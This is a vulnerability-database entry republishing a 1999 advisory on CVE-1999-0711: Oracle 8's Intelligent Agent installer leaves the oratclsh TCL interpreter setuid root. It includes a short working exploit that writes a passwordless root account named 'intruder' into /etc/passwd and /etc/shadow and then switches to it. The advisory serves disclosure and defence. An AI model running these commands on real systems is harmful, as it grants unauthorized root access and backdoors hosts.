Unix Oracle 8.x Intelligent Agent oratclsh interpreter权限许可和访问控制漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105440 漏洞类型 未知
发布时间 1999-04-29 更新时间 2006-02-20
CVE编号 CVE-1999-0711 CNNVD-ID CNNVD-199904-038
漏洞平台 Linux CVSS评分 4.6
source: http://www.securityfocus.com/bid/159/info

Oracle8 is an enterprise level database. As part of the Internet Agent option installation process it installs the file $ORACLE_HOME/bin/oratclsh as suid root. oratclsh is a TCL application that provides full access to TCL. oratclsh gives anyone the ability to execute arbitrary TCL commands as root.

The suid root bit gets set when the post install script "root.sh" is executed as root as directed in the installation instructions. If the "root.sh" script is not executed as root after installing the Intelligent Agent the oratclsh will be owned by the installation user (typically oracle). Although not as degerous as suid root, a suid oracle oratclsh script would allow a malicious user to obtain full acess to the database.

The offending core in "root.sh":

# Setuid to root for oemagent executables
/bin/chown root /oracle/bin/dbsnmp
/bin/chmod u+s /oracle/bin/dbsnmp
/bin/chown root /oracle/bin/oratclsh 
/bin/chmod u+s /oracle/bin/oratclsh

% set f [open "/etc/passwd" "a+"]
% puts $f "intruder:x:0:1:intruder:/tmp/intruder:/bin/sh"
% close $f
% set f [open "/etc/shadow" "a+"]
% puts $f "intruder::::::::"
% close $f
% exit

$ su - intruder
$ id
uid=0(root) gid=1(other)